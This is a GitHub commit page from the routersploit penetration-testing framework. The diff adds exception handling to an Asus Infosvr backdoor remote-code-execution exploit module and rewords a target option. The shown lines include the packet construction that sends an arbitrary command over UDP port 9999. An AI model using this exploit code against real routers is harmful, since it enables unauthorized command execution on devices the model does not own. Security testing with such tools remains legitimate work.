Skip to content

Commit

Permalink
Fixing exception handling Asus Infosvr exploit.
Browse files Browse the repository at this point in the history
  • Loading branch information
lucyoa committed Apr 25, 2016
1 parent 56924cf commit 52e0afe
Showing 1 changed file with 6 additions and 3 deletions.
9 changes: 6 additions & 3 deletions routersploit/modules/exploits/asus/infosvr_backdoor_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ class Exploit(exploits.Exploit):
],
}

target = exploits.Option('', 'Target address e.g. 192.168.1.1')
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')

def run(self):
try:
Expand Down Expand Up @@ -76,8 +76,11 @@ def execute(self, cmd):

packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')

sock.sendto(packet, (self.target, 9999))

try:
sock.sendto(packet, (self.target, 9999))
except socket.error:
return ""

while True:
try:
data, addr = sock.recvfrom(512)
Expand Down

0 comments on commit 52e0afe

Please sign in to comment.